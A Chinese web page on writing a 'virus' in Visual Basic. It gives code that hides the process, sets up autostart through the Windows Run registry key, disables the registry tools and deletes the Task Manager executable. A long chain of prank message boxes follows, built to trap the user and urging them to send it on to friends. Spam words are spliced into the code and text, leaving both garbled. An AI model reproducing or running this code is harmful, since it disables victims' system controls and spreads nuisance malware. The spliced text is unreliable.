1.用VB怎么样编写病毒

用VB怎么样编写病毒

       告诉你几个VB写病毒的病毒s病常识,不要做坏事!!!

        HideCurrentProcess '隐藏进程

       Dim hKey As Long, SubKey As String, Exe As String

        SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"

        Exe = App.Path & "\" & App.EXEName & ".exe"

        RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey

        RegSetValueEx hKey, "", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1

        RegCloseKey hKey'开机启动

       Dim hKey As Long

        RegCreateKey HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", hKey

        RegSetValueEx hKey, "DisableRegistryTools", 0, REG_DWORD, 1&, 4

        RegCloseKey hKey'禁止访问注册表

        KILL"C:\\WINDOWS\SYSTEM\taskmgr.exe"'删除任务管理器

       整人代码:

       Msgbox "欢迎来到整人之家", 1, "You're foolish!"

       Msgbox "我是cy",1, "You're foolish!"

       Msgbox "我的OICQ是", 1, "You're foolish!"

       Msgbox "或者", 1, "You're foolish!"

       Msgbox "也可以是", 1, "You're foolish!"

       Msgbox "你一定得岁才准进入，请按确定",源码 1, "You're foolish!"

       Msgbox "进入此站时，不许说粗话！毒源代码！病毒s病同意请按确定",源码 1, "You're foolish!"

       Msgbox "我不相信你…………", 1, "You're foolish!"

       Msgbox "很对不起~但我得看你的身份证", 1, "You're foolish!"

       Msgbox "拿着你的身份证对着萤幕", 1, "You're foolish!"

       Msgbox "现在我得检查你的性别", 1, "You're foolish!"

       Msgbox "对！！毒源代码bios源码检查你的病毒s病性别！！源码！毒源代码！病毒s病",源码 1, "You're foolish!"

       Msgbox "据我的推测，你不是毒源代码男的就是女的", 1, "You're foolish!"

       Msgbox "OH~YEAH~开个玩笑嘛", 1, "You're foolish!"

       Msgbox "为什麽这个主机要把这个网页放上来", 1, "You're foolish!"

       Msgbox "嘿嘿…………不知道吧", 1, "You're foolish!"

       Msgbox "因为这主机被某人耍了", 1, "You're foolish!"

       Msgbox "算了！！病毒s病",源码 1, "You're foolish!"

       Msgbox "你知不知道你现在得一直按确定ㄚ", 1, "You're foolish!"

       Msgbox "你得全部都按光耶！！毒源代码", 1, "You're foolish!"

       Msgbox "ㄛ喔！！", 1, "You're foolish!"

       Msgbox "换句话说~你被卡在这里了！！", 1, "You're foolish!"

       Msgbox "ㄛ喔！！axb源码", 1, "You're foolish!"

       Msgbox "除非我打算让你走……", 1, "You're foolish!"

       Msgbox "可是……我什麽时候会想让你走咧", 1, "You're foolish!"

       Msgbox "不过~可喜的是你现在一直做的很好！！", 1, "You're foolish!"

       Msgbox "你按确定的姿势有很大的进步喔！！", 1, "You're foolish!"

       Msgbox "对！进步很多啦！！", 1, "You're foolish!"

       Msgbox "既然你被卡在这里~我只好跟你讲一个故事来解解闷喽！！",易车网源码 1, "You're foolish!"

       Msgbox "你一定很想听吧", 1, "You're foolish!"

       Msgbox "我这麽做是为了让你呆久一点，知道吗", 1, "You're foolish!"

       Msgbox "ㄛ喔！！", 1, "You're foolish!"

       Msgbox "仔细听好~故事开始喽！", 1, "You're foolish!"

       Msgbox "很久很久很久很久以前~有一个网瘾狂，", 1, "You're foolish!"

       Msgbox "任何一个上网的机会他都不会错过", 1, "You're foolish!"

       Msgbox "感觉很熟悉吧", 1, "You're foolish!"

       Msgbox "无论如何！！", 1, "You're foolish!"

       Msgbox "他爸妈跟他说他不该上太多网", 1, "You're foolish!"

       Msgbox "不然的话就会有些怪人带他去些怪地方", 1, "You're foolish!"

       Msgbox "ㄛ喔！！", 1, "You're foolish!"

       Msgbox "可是他从来都不听。有一天他到了某个网站…………",less 源码 1, "You're foolish!"

       Msgbox "这里真的很烦！！", 1, "You're foolish!"

       Msgbox "从此以后~他再也不想上网了", 1, "You're foolish!"

       Msgbox "ㄛ喔~嘿嘿嘿！！", 1, "You're foolish!"

       Msgbox "你能猜的出来他到了哪个站了吗", 1, "You're foolish!"

       Msgbox "很简单的问题吧？！", 1, "You're foolish!"

       Msgbox "没错！！他到了这里！！", 1, "You're foolish!"

       Msgbox "ㄛ喔！！顶点源码", 1, "You're foolish!"

       Msgbox "你大概在猜这里面所隐藏的东西应该有一些意义吧", 1, "You're foolish!"

       Msgbox "ㄛ喔！！", 1, "You're foolish!"

       Msgbox "可是，一点意义都没有！！", 1, "You're foolish!"

       Msgbox "ㄟ~~事实上~~算是有一个原因啦！！", 1, "You're foolish!"

       Msgbox "想知道吗", 1, "You're foolish!"

       Msgbox "那就是把你卡在这里啦！！", 1, "You're foolish!"

       Msgbox "ㄛ喔！！", 1, "You're foolish!"

       Msgbox "嗯~~说真的这站实在很白痴！", 1, "You're foolish!"

       Msgbox "对啦~按确定练习站！！", 1, "You're foolish!"

       Msgbox "你大概推测出来了吧", 1, "You're foolish!"

       Msgbox "对了~你知道吗", 1, "You're foolish!"

       Msgbox "如果你想把你的任何一个朋友搞疯掉", 1, "You're foolish!"

       Msgbox "你可以把这个站寄给他！！", 1, "You're foolish!"

       Msgbox "Wow~听起来很过瘾吧？！", 1, "You're foolish!"

       Msgbox "大概要按多次确定吧", 1, "You're foolish!"

       Msgbox "ㄛ喔？！", 1, "You're foolish!"

       Msgbox "所以呢~当你进入这站的时候……", 1, "You're foolish!"

       Msgbox "就顺便把这网站寄给大家吧！", 1, "You're foolish!"

       Msgbox "让他们了解一下你现在的感受！！", 1, "You're foolish!"

       Msgbox "ㄛ喔！！", 1, "You're foolish!"

       Msgbox "你现在终於可以进入这网站啦！！", 1, "You're foolish!"

       Msgbox "谢天谢地！", 1, "You're foolish!"

       Msgbox "等等！！……", 1, "You're foolish!"

       Msgbox "我想跟你说另外一个故事", 1, "You're foolish!"

       Msgbox "ㄛ喔！！", 1, "You're foolish!"

       Msgbox "你快疯了吧", 1, "You're foolish!"

       Msgbox "这可不是我的错喔~~你应该在网上找些别的东西！！", 1, "You're foolish!"

       Msgbox "知道了吧现在你可能可以了解上网的坏处了吧！！", 1, "You're foolish!"

       Msgbox "因为你还有可能碰到类似的网页喔！", 1, "You're foolish!"

       Msgbox "你仔细想一想……不觉得有趣吗？", 1, "You're foolish!"

       Msgbox "好吧~我对不起你！", 1, "You're foolish!"

       Msgbox "你生命可以继续啦！", 1, "You're foolish!"

       Msgbox "还有…………", 1, "You're foolish!"

       Msgbox "你打算再听一个故事吗？", 1, "You're foolish!"

       Msgbox "ㄛ喔！！", 1, "You're foolish!"

       Msgbox "现在是不是有一种想要骂人的感觉？", 1, "You're foolish!"

       Msgbox "可是我们说好了的…………", 1, "You're foolish!"

       Msgbox "？", 1, "You're foolish!"

       Msgbox "算了，我还是放你走吧！", 1, "You're foolish!"